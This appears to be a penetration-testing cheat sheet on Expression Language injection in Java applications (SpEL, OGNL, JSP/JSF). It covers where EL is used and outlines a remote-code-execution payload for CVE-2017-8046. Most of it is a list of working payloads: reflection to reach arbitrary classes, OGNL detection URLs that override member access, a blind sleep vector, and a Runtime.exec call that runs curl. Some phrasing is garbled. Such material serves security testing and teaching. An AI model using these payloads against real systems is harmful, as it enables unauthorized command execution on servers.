EL provides an important mechanism for enabling the presentation layer (web pages) to communicate with the application logic (managed beans).
Where is it used ?
Spring Framework: Security, Data, …
Any place developers use it by SpEL API
For languages it can be used in Java, Kotlin, Scala, and other JVM based technologies.
The EL is used by several JavaEE technologies, such as JavaServer Faces technology, JavaServer Pages (JSP) technology, and Contexts and Dependency Injection for Java EE (CDI). The EL can also be used in stand-alone environments.
Java applications are easily recognizable as they tend to use extensions as .jsp or .jsf, throw stack errors and use term like "Serverlet" in the headers.
Depending on the EL version some features might be On or Off and usually some characters may be disallowed.
java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main
Enter a String to evaluate:{5*5}[25]
Note how in the previous example the term {5*5} was evaluated.
CVE Example
From you have already see I bet you know what is coming. If developers are using SpEL with user input, we need to create payload with injection. Let’s check one that allow remote code execution (RCE). It was created as part of exploit for CVE-2017–8046.
It consist of 3 parts:
black color — copy result of command execution directly to output stream of HTTP request
red color — get Java Runtime and execute command in system
blue color — String containing command: cmd /c dir. To make it more robust individual characters of command are decoded from numbers.
Result of executing it:
Payloads
Basic actions
#Basic string operations examples{"a".toString()}[a]{"dfd".replace("d","x")}[xfx]#Access to the String class{"".getClass()}[class java.lang.String]#Access to arbitrary class{"".getClass().forName("java.util.Date")}[class java.util.Date]#List methods of a class{"".getClass().forName("java.util.Date").getMethods()[0].toString()}[public boolean java.util.Date.equals(java.lang.Object)]
Detection
Burp detection
gk6q${“zkz”.toString().replace(“k”,“x”)}doap2#The value returned was "igk6qzxzdoap2", indicating of the execution of the expression.
J2EE detection
#J2EEScan Detection vector (substitute the content of the response body with the content of the “INJPARAM” parameter concatenated with a sum of integer):
https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL
Sleep 10 secs
#Blind detection vector (sleep during 10 seconds)https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}
#Check the method getRuntime is there{"".getClass().forName("java.lang.Runtime").getMethods()[6].toString()}[public static java.lang.Runtime java.lang.Runtime.getRuntime()]#Execute command (you won't see the command output in the console){"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://127.0.0.1:8000")}[Process[pid=10892, exitValue=0]]